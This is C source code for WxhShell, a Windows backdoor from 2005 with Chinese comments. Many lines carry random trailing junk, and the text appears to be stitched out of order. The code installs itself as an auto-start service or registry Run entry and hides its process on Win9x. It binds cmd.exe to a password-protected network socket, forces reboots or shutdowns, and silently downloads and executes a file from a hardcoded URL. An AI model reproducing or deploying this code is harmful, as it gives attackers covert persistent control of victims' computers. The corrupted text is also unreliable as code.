    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3,B[%!3d  
    else { I1H:h  
    closesocket(wsh); <cz~q=%v2&  
    ExitThread(0); wB( igPi  
    } l9.wMs*`X  
    break; ),6Z1 K1  
    } c$'UfW  
  // 获取shell *WgP+"h  
  case 's': { &WHEPdD  
    CmdShell(wsh); 6%_d m'  
    closesocket(wsh); 0\U28zbMJw  
    ExitThread(0); M$gy J!Pb  
    break; f i!wrvO  
  } o&~z8/?LA  
  // 退出 wEMUr0Hq  
  case 'x': { Q\:'gx8`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {w^flizY  
    CloseIt(wsh); h OboM3_  
    break; qwaw\vOA  
    } 4p~:(U[q  
  // 离开 (<.1o_Q-LU  
  case 'q': { +T^m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ck.GN<#-^P  
    closesocket(wsh); tZXtt=M w  
    WSACleanup(); MOmp{@  
    exit(1); aTs_5q  
    break;  Phgn|  
        } I|O~F e.  
  } tY :-13F  
  } *<#&ne 8  
)-a_,3x%j  
  // 提示信息 C>;yW7*g"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r%'2a+}D  
} 5#f&WL*U@  
  } nw5#/5xw  
oaBfq8,;  
  return; 8a)EL*LH`  
} +-~;?wA  
28BiuxVW  
// shell模块句柄 ($W9 ?  
int CmdShell(SOCKET sock) ccm <rZ7  
{ Ruk6+U  
STARTUPINFO si; SqTm/ t  
ZeroMemory(&si,sizeof(si)); ]-fZeyY$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V`WfJ>{;Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y~S[0]y>  
PROCESS_INFORMATION ProcessInfo; ypd  
char cmdline[]="cmd"; up2%QbN(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^LC5orO  
  return 0; jv|IV  
} JrL/LGY  
Y*Q( v  
// 自身启动模式 -I8%  
int StartFromService(void) PUYo >eB)0  
{ ln=zGX.e  
typedef struct nQ(#'9  
{ {h%.i Et%  
  DWORD ExitStatus; $oua]8!  
  DWORD PebBaseAddress; mc$c!Ax*  
  DWORD AffinityMask; *BO4"3Z  
  DWORD BasePriority; )sS< %Xf  
  ULONG UniqueProcessId; O: BP35z_F  
  ULONG InheritedFromUniqueProcessId; [7s5Vt|  
}   PROCESS_BASIC_INFORMATION; ;Ok11wOw  
?<LG(WY  
PROCNTQSIP NtQueryInformationProcess; n'h )(^  
6|dUz*Pr|\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >Ia(g0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <0LB]zDWe6  
wFd*6%  
  HANDLE             hProcess; -=sxbs.aA  
  PROCESS_BASIC_INFORMATION pbi; 462ae` 6l  
*r% mqAx(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <s7{6n')  
  if(NULL == hInst ) return 0; g<dCUIbcQ  
~!nd'{{9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ytC{E_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `Ys })Pl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YJ6vyG>%C  
T i/iD2g  
  if (!NtQueryInformationProcess) return 0; (7wR*vO^  
|(H|2]b4 =  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S2s-TpjB<  
  if(!hProcess) return 0; &S-& 'ZAY  
0,A?*CO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O#U"c5%  
) k2NF="o  
  CloseHandle(hProcess); JX/d;N7a  
%5KR}NXX6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^#Y6 E  
if(hProcess==NULL) return 0; M!jW=^\  
)Ud S (Bj  
HMODULE hMod; qlxW@|  
char procName[255]; P3 Evv]sB@  
unsigned long cbNeeded; Ni)#tz_9  
Zn} )&Xt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]`kvq0Gyb  
}n 7e_qy4  
  CloseHandle(hProcess); i|O7nB@  
i;xMf5Jz  
if(strstr(procName,"services")) return 1; // 以服务启动  =*Yc/  
G7202(w <  
  return 0; // 注册表启动 SWGa%6|  
} j`GbI0,bT  
,6bMf z  
// 主模块 Q+Fw =Xw  
int StartWxhshell(LPSTR lpCmdLine) g|HrhUT;  
{ PmY:sJ{M  
  SOCKET wsl; E 9:hK  
BOOL val=TRUE; bOdv]nQ1  
  int port=0; stG&(M  
  struct sockaddr_in door; &sgwY  
*u>\&`h=  
  if(wscfg.ws_autoins) Install(); iQIw]*h^  
`;qZ$HH  
port=atoi(lpCmdLine); :&-}S>pC  
:Ir:OD# o  
if(port<=0) port=wscfg.ws_port; yfW^wyDd2o  
IjRmpVcwN  
  WSADATA data; M^f1D&A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S3w?Zk3hO  
K{ P#[X*5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;X6y.1N~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [Z+,)-ke  
  door.sin_family = AF_INET; cs M|VNE>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S}f<@-16P  
  door.sin_port = htons(port); )89jP088V  
11T\2&Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A(p  
closesocket(wsl); -8jqC6mQ  
return 1; \@3  
} bx^EaXj(r  
fYjsSUnf  
  if(listen(wsl,2) == INVALID_SOCKET) { ]."c4S_)|  
closesocket(wsl); NKKO A  
return 1; ?t42=nvf  
} UhTr<(@  
  Wxhshell(wsl); oI~Qo*4eh  
  WSACleanup(); zs:7!  
j1C.#-P[  
return 0; P0(~~z&%[  
PZR%8 m}]u  
} @R&D["!  
&FVlTo1  
// 以NT服务方式启动 7uxPkZbb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q$rA-`jw  
{ _q_[<{#  
DWORD   status = 0; 'uzv\[  
  DWORD   specificError = 0xfffffff; ^z;,deoGh  
PI \,`^)y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o#) !b:/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  BZc-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <'_GQM`G  
  serviceStatus.dwWin32ExitCode     = 0; Lp)8SmN  
  serviceStatus.dwServiceSpecificExitCode = 0; {kH^OZ^(e  
  serviceStatus.dwCheckPoint       = 0; JW [\"`x!  
  serviceStatus.dwWaitHint       = 0; ;j>d"i36&  
;Hb[gvl   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mRY6[*u  
  if (hServiceStatusHandle==0) return; uW9M&"C~  
4Z9 3 g {  
status = GetLastError(); mVAm^JK  
  if (status!=NO_ERROR) 7 aD&\?  
{ \X.=3lc&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'sBXH EZA]  
    serviceStatus.dwCheckPoint       = 0; z 2VCK@0  
    serviceStatus.dwWaitHint       = 0; 32LB*zc  
    serviceStatus.dwWin32ExitCode     = status; <&%1pZ/6.  
    serviceStatus.dwServiceSpecificExitCode = specificError; C(HmLEB^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5a!e%jj  
    return; y]_8. 0zM  
  } yN<fmi};c  
k1U8wdoT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J_E(^+  
  serviceStatus.dwCheckPoint       = 0; f}Tr$r  
  serviceStatus.dwWaitHint       = 0; xt,L* B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~*c=  
} %*q0+_  
0P40K  
// 处理NT服务事件,比如:启动、停止 ]"g >>N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QU!'W&F6  
{ `A _8nW)  
switch(fdwControl) ,Z7Z!.TY!  
{ `$SEkYdt  
case SERVICE_CONTROL_STOP: AE4~M`6D  
  serviceStatus.dwWin32ExitCode = 0; x <\D@X^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7jH`_58  
  serviceStatus.dwCheckPoint   = 0; ~y H>Ko9F}  
  serviceStatus.dwWaitHint     = 0; [Um4\QvUx  
  { K[ gWXBP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <bZm  
  } NVqC|uEAF  
  return; akW3\(W}  
case SERVICE_CONTROL_PAUSE: rL sK-qQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u<shhb-  
  break; 8{Eo8L'V  
case SERVICE_CONTROL_CONTINUE: n=o'ocdS)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tm1UH 4  
  break; mhLRi\[c )  
case SERVICE_CONTROL_INTERROGATE: _<*GU@  
  break; 2 C]la  
}; UnWGMo?JEi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J1p75c%  
} 7(~H77  
kTZx-7~  
// 标准应用程序主函数 H'GYJ ?U"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) km\ld&d]$  
{ .e2A*9,  
-y*_.Ws9  
// 获取操作系统版本 `$sY^EX  
OsIsNt=GetOsVer(); 1H4Zgh U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %^5@z1d,  
>`<2}Me6  
  // 从命令行安装 Fv);5LD  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^_KD&%M6  
bxdXZB n  
  // 下载执行文件 iE^a%|?}  
if(wscfg.ws_downexe) { !ObE{2Enf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zYG,x*IH  
  WinExec(wscfg.ws_filenam,SW_HIDE); "8muMa8Q%  
} s9rtXBJP  
90qj6.SQ  
if(!OsIsNt) { yLz,V}  
// 如果时win9x,隐藏进程并且设置为注册表启动 v^c<`i;  
HideProc(); z34>,0  
StartWxhshell(lpCmdLine); ^~6]0$yJ  
} pP0Vg'V  
else !b]2q%XM  
  if(StartFromService()) M=AvD(+ha  
  // 以服务方式启动 U7"BlT!V\  
  StartServiceCtrlDispatcher(DispatchTable); H : T N  
else .K@x4 /1  
  // 普通方式启动 q#(/*AoU  
  StartWxhshell(lpCmdLine); (HaKF7Jsi  
|N$?_<H  
return 0; <P^hYj-swh  
} mheU#&|  
1n`1o-&l-  
\5[D7}  
D=~B7b:  
=========================================== 1U7,X6=~  
.b#9q6F-/  
2b#(X'ob  
wVp4c?s  
(}C^_q:7d  
$,;S\JmWP  
" '>e79f-O)  
.IH@_iX  
#include <stdio.h> wt}%2x} x  
#include <string.h> 9PKoNd^e  
#include <windows.h> H9~%#&fF  
#include <winsock2.h> m(Y.X=EZr  
#include <winsvc.h> -jVaS w t  
#include <urlmon.h> Be{/2jU%  
98A(jsj  
#pragma comment (lib, "Ws2_32.lib") Dr6s ^}}~n  
#pragma comment (lib, "urlmon.lib") ;wbUk5Tf/  
=a9etF%B  
#define MAX_USER   100 // 最大客户端连接数 ~#x :z ^U  
#define BUF_SOCK   200 // sock buffer NuD[-;N]  
#define KEY_BUFF   255 // 输入 buffer |)-|2cPRur  
b4v(k(<  
#define REBOOT     0   // 重启 jJUGZVM6)  
#define SHUTDOWN   1   // 关机 om}/f`  
skI(]BDf  
#define DEF_PORT   5000 // 监听端口 $7UoL,N>  
/bmXDDYH4  
#define REG_LEN     16   // 注册表键长度 feI./E  
#define SVC_LEN     80   // NT服务名长度 |"R_-U  
3^\?>C7  
// 从dll定义API hD_5~d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JY2/YDJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }Kj Ju;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W-z90k4Z5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i,#k}CNu  
q]eFd6  
// wxhshell配置信息 [0&'cu>  
struct WSCFG { M@~~f   
  int ws_port;         // 监听端口 _%'L@[ H  
  char ws_passstr[REG_LEN]; // 口令 eyT>wma0  
  int ws_autoins;       // 安装标记, 1=yes 0=no PFS;/   
  char ws_regname[REG_LEN]; // 注册表键名 V06CCy8n  
  char ws_svcname[REG_LEN]; // 服务名 `ke3+%uj o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9c6czirwR^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 skIiJ'db  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @~k5+Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E dn[cH7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 46bl>yk9<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MzQ\rg_B7  
F$Im9T6  
}; 4M}|/?<Br  
Vd+td;9(  
// default Wxhshell configuration S]&8St  
struct WSCFG wscfg={DEF_PORT, IKi{Xh]\  
    "xuhuanlingzhe", oW 1"%i%  
    1, MA\m[h]  
    "Wxhshell", 7qe7F l3  
    "Wxhshell", D|d4:;7  
            "WxhShell Service", ~|r~NO 7[  
    "Wrsky Windows CmdShell Service", FR x6c  
    "Please Input Your Password: ", {L@+(I  
  1, AGOx@;w  
  "http://www.wrsky.com/wxhshell.exe", ^rv"o:lF  
  "Wxhshell.exe" z % x7fe  
    }; )K~w'TUr  
.'|mY$U~]  
// 消息定义模块 |3}5:k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2fl4h<V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &E bI Op  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QyPg |#T2>  
char *msg_ws_ext="\n\rExit."; X8/Tl \c  
char *msg_ws_end="\n\rQuit."; ]3*P:$Rq  
char *msg_ws_boot="\n\rReboot..."; ha*X6R  
char *msg_ws_poff="\n\rShutdown..."; ~>V-*NT8  
char *msg_ws_down="\n\rSave to "; $<B +K  
1O |V=K  
char *msg_ws_err="\n\rErr!"; |G(1[RNu  
char *msg_ws_ok="\n\rOK!"; ?c!:81+\  
Dv&>*0B  
char ExeFile[MAX_PATH]; xS'zZ%?  
int nUser = 0; s/ M7Zl  
HANDLE handles[MAX_USER]; kG/X"6pZ  
int OsIsNt; c=6ahX}d  
GCT@o!  
SERVICE_STATUS       serviceStatus; D+Cm<ZT~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5h0>!0  
R A:jzht  
// 函数声明 ![ZmV  
int Install(void); 57~Uqt  
int Uninstall(void); nV}8M  
int DownloadFile(char *sURL, SOCKET wsh); (}Sr08m  
int Boot(int flag); >$\Bu]{1  
void HideProc(void); z3a-+NjDm  
int GetOsVer(void); }e 9!xA  
int Wxhshell(SOCKET wsl); ;54(+5pqx  
void TalkWithClient(void *cs); ;DuXS y!g  
int CmdShell(SOCKET sock); [C1 LT2a  
int StartFromService(void); bAf,aV/C&|  
int StartWxhshell(LPSTR lpCmdLine); 7+}JgUh  
fb .J$fX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f/}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @F>F#-2  
\m4T3fy  
// 数据结构和表定义 '-vE%U@<  
SERVICE_TABLE_ENTRY DispatchTable[] = #'@i lk/.  
{ P z ?m>>#  
{wscfg.ws_svcname, NTServiceMain}, 38~PWKt  
{NULL, NULL} %}q .cV  
}; @6 /yu>%  
xCWz\-;  
// 自我安装 A\z`c e!  
int Install(void) {Oj7  
{ |uI?ySF  
  char svExeFile[MAX_PATH]; =m7H)z)i*J  
  HKEY key; _%y4q%#  
  strcpy(svExeFile,ExeFile); k[\a)WcY8  
o#>a 5  
// 如果是win9x系统,修改注册表设为自启动 B**Nn!}0  
if(!OsIsNt) { 5 L/x-i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $5AC1g'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c%z'xM  
  RegCloseKey(key); 8d!GZgC8R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qzqc .T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a+`D'?z  
  RegCloseKey(key);  PWH^=K  
  return 0; =E(#YCx  
    } Z) Wnow  
  } `0bP0^w  
} ESTM$k }X  
else { ?]#OM_,8  
{$d<1y^  
// 如果是NT以上系统,安装为系统服务 3`*Kav>"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k$N0lR4:p  
if (schSCManager!=0) 48O~Jx,  
{ /c`^iPb  
  SC_HANDLE schService = CreateService 1l5J P|x  
  ( d"E^SBO&  
  schSCManager, 0*8TS7.3  
  wscfg.ws_svcname, C!+I>J{4f  
  wscfg.ws_svcdisp, qmglb:"  
  SERVICE_ALL_ACCESS, #(KDjnP[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HeLG?6  
  SERVICE_AUTO_START, p@~ic#X  
  SERVICE_ERROR_NORMAL, irbw'^;y  
  svExeFile, R_ ZK0ar  
  NULL, $TG =w  
  NULL, ?>$l  
  NULL, N\NyXh$  
  NULL, aJhxc<"e  
  NULL 7I9aG.;  
  ); ^{F_ a  
  if (schService!=0) aI3CNeav  
  { _{4^|{>Pv  
  CloseServiceHandle(schService); fBhoGA{=g  
  CloseServiceHandle(schSCManager); os4{0Mxu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u5B:^.:p  
  strcat(svExeFile,wscfg.ws_svcname); dtZE67KS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4;<ut$G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Dnw|%6Y  
  RegCloseKey(key); Fh8lmOL;?  
  return 0; ) 1 m">s4  
    } (W[V? !1  
  } DF_X  
  CloseServiceHandle(schSCManager); lk3=4|?zsE  
} !4(zp;WY^  
} o]ePP,  
]fBUT6  
return 1; :Y P#  
} y7/F _{  
j$Ab>}g]  
// 自我卸载 E{E0Z9t7&  
int Uninstall(void) t)f-mQz)  
{ S<`I Jpkv  
  HKEY key; e}hmS1>H  
'n;OB4  
if(!OsIsNt) { )G~w[~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V5i*O3a~   
  RegDeleteValue(key,wscfg.ws_regname); 1yQejw  
  RegCloseKey(key); =LkR!R=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cPDQ1qre!  
  RegDeleteValue(key,wscfg.ws_regname); }}&#|)Yq  
  RegCloseKey(key); ^uBxgWIC  
  return 0; ? *>]")[>  
  } *.#oxcll  
} >UDd @  
} - e"jw#B  
else { .,0bE  
=WIJ>#Go<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1vzb8.  
if (schSCManager!=0) #bX9Tu0  
{ *v ?m6R=)h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A A^{B  
  if (schService!=0) 2ZcKK8X;7  
  { zK|i='XSf  
  if(DeleteService(schService)!=0) { c(#;_Ve2P  
  CloseServiceHandle(schService); MUnEuhXTr  
  CloseServiceHandle(schSCManager); [F!Y%Zp  
  return 0; A@hppaP!  
  } U8.7>ENnP&  
  CloseServiceHandle(schService); _>+8og/%@  
  } ]hos+;4p  
  CloseServiceHandle(schSCManager); +{<#(}  
} ^D%FX!$  
} U*3J+Y  
YNwp/Y  
return 1; km~Ll   
} bKg8rK u  
2i;7{7  
// 从指定url下载文件 :cB=SYcC%  
int DownloadFile(char *sURL, SOCKET wsh) VTy9_~q  
{ Xpe)PXb  
  HRESULT hr; %D$]VSP;  
char seps[]= "/"; 0:w"M<80  
char *token; I$q]. B  
char *file; [S5\#=_4S  
char myURL[MAX_PATH]; jTO), v:w  
char myFILE[MAX_PATH]; hj'(*ND7z  
CI353-`  
strcpy(myURL,sURL); MZ+^-@X  
  token=strtok(myURL,seps); ls@i".[  
  while(token!=NULL) *Kdda} J+  
  { p sL?Y  
    file=token; #(An6itl  
  token=strtok(NULL,seps); IxLhU45  
  } q9Y9w(  
.7K7h^*F  
GetCurrentDirectory(MAX_PATH,myFILE); 'AN>`\mR$  
strcat(myFILE, "\\"); 1-lu\"H`  
strcat(myFILE, file); nRyU]=-X  
  send(wsh,myFILE,strlen(myFILE),0); n]E?3UGD@W  
send(wsh,"...",3,0); k0Ol*L!p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2hzsKkrA {  
  if(hr==S_OK) {~Rk2:gx  
return 0; ]a5 f2lE  
else '%q$` KDb  
return 1; (L^]Lk x)  
S$QG.K:<!  
} i3rH'B -I.  
9$2/MT't  
// 系统电源模块 0 a80 LAK  
int Boot(int flag) th;{V%:LW  
{ &=VDASEu  
  HANDLE hToken; ^R:cd8+?%  
  TOKEN_PRIVILEGES tkp; "[y-+)WTG  
^fZ&QK  
  if(OsIsNt) { (sh)TBb5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?@E!u|]K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E? _Z`*h  
    tkp.PrivilegeCount = 1; PLK3v4kVM!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZYC<Wb)I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1t)il^p4[;  
if(flag==REBOOT) { `@nl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }GeSu|m(  
  return 0; Y1]n^  
} rqY`8Ry2M  
else { z11O F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r-:Uz\gM  
  return 0; iof-7{+3_  
} q FAT]{{  
  } N;\'N ne  
  else { AvfNwE  
if(flag==REBOOT) { y&V@^ "`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9I4K}R  
  return 0; rk #sy$  
} BocSwf;v.  
else { )ubiB^g'm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gP;&e:/3  
  return 0; Q)IKOt;N]  
}  5~>z h  
} ZzSz%z_sE  
8uWa=C)  
return 1; 0tXS3+@n =  
} ' ~8KSF*!p  
0N $v"uX@  
// win9x进程隐藏模块 dw*_(ys  
void HideProc(void) XCBL}pNkR  
{ g"}%2~Urf  
0$ S8 fF@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NxsBX :XDn  
  if ( hKernel != NULL ) !wNr3LG  
  { 2.l:O2<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tNbN7yI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !6*"(  
    FreeLibrary(hKernel); S[J}UpV  
  } _no*k?o *  
?vbvBu{a  
return; *-8&[D0  
} R}!:'^  
>s<^M|S07  
// 获取操作系统版本 ivN&HAxI@  
int GetOsVer(void) f=WDR m]  
{ 0"f\@8r(  
  OSVERSIONINFO winfo; G;l_|8<t#\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .oeX"6K  
  GetVersionEx(&winfo); oU.R2\Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zd >t-?g  
  return 1; <nT +$  
  else R8a3 1&  
  return 0; z?R|Ok  
} !WQ-=0cm  
G$F<$  
// 客户端句柄模块 U_I5fK =  
int Wxhshell(SOCKET wsl) ^f4s"T  
{ hYG6 pTCb  
  SOCKET wsh; kY-N>E:  
  struct sockaddr_in client; Z/Dx,zIR  
  DWORD myID; ;'#8tGv=  
woGAf)vV#  
  while(nUser<MAX_USER) 0"28'  
{ 9 a!$z!.  
  int nSize=sizeof(client); x"~8*V'0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qKr8)}h  
  if(wsh==INVALID_SOCKET) return 1; Ws|j#X<  
2{H@(Vgpbr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dv5D~on{  
if(handles[nUser]==0) #_^Lb]jkM  
  closesocket(wsh); e#$]Y?,  
else j i7[nY  
  nUser++; Lr~=^{  
  } (ROY?5 @c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y[}>CYO  
#W4dkCd(pF  
  return 0; H4&lb}  
} L.*M&Ry  
gG(fQ 89U"  
// 关闭 socket [\v}Ul  
void CloseIt(SOCKET wsh) s %j_H  
{ -g*4(w  
closesocket(wsh); +0nJ  
nUser--; dMv=gdY  
ExitThread(0); nrub*BuA  
} 4;yKOQD|  
keL&b/@  
// 客户端请求句柄 !>..Q)z  
void TalkWithClient(void *cs) @tNzQ8  
{ R;uvkg[o  
FKDk+ojw  
  SOCKET wsh=(SOCKET)cs; FWrX3i  
  char pwd[SVC_LEN]; SB H(y)  
  char cmd[KEY_BUFF]; C zs8!S  
char chr[1]; 5YE'L.  
int i,j; DgId_\Ze  
v&DI`xn~  
  while (nUser < MAX_USER) {  ]hk  
)r xX+k+b/  
if(wscfg.ws_passstr) { K*K,}W&}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;g+N&)n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [+T.a t  
  //ZeroMemory(pwd,KEY_BUFF); 4xjPiHd<  
      i=0; h-q3U%R4}@  
  while(i<SVC_LEN) { [9evz}X  
fI?>+I5  
  // 设置超时 C~,a!qY  
  fd_set FdRead; ! >(7+B3E*  
  struct timeval TimeOut; GfoLae  
  FD_ZERO(&FdRead); [8 ]z|bM  
  FD_SET(wsh,&FdRead); @\0ez<.p}  
  TimeOut.tv_sec=8; bnf'4PAt  
  TimeOut.tv_usec=0; /?5 1D@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +Vb.lH[av  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LDgrR[  
naG=Pq<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?+@n3]`0  
  pwd=chr[0]; Lb:g4A"  
  if(chr[0]==0xd || chr[0]==0xa) { qeVfE_<  
  pwd=0; @ym v< Mo  
  break; QwW&\h[8?  
  } y-'$(x  
  i++; :~"CuB/  
    } g:g\>@Umo  
-$,TMqM  
  // 如果是非法用户,关闭 socket t3 8m'J :>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BO~ 0ON0  
} HVR /7&g  
ry`Ho8N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x -WmMfcz&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ak$f"py x  
X`kk]8 =  
while(1) { lA| 5E?  
oK6tTK  
  ZeroMemory(cmd,KEY_BUFF); ?GKb7Oj  
>)fi^  
      // 自动支持客户端 telnet标准   q/4J.j L  
  j=0; 9UdM`v)(  
  while(j<KEY_BUFF) { rK'L6o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EH+"~-v)ae  
  cmd[j]=chr[0]; !Q2d(H>  
  if(chr[0]==0xa || chr[0]==0xd) { XRM_x:+]  
  cmd[j]=0; $v4.sl:x  
  break; JFcLv=U  
  } j/323Za+  
  j++; eBZXI)pPh  
    } .F98G/s  
TV)h`\|Z*  
  // 下载文件 M'7f O3&|  
  if(strstr(cmd,"http://")) { l%k\JY-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >c1qpk/  
  if(DownloadFile(cmd,wsh)) `x+ B+)0X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }"nItcp.1  
  else YqhAZp<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'nzg6^I7g  
  } Sq>dt[7  
  else { %P;lv*v.  
7Haa;2 T'  
    switch(cmd[0]) { F&4rO\aC"/  
  >:74%D0UF  
  // 帮助 [owWiN4`s  
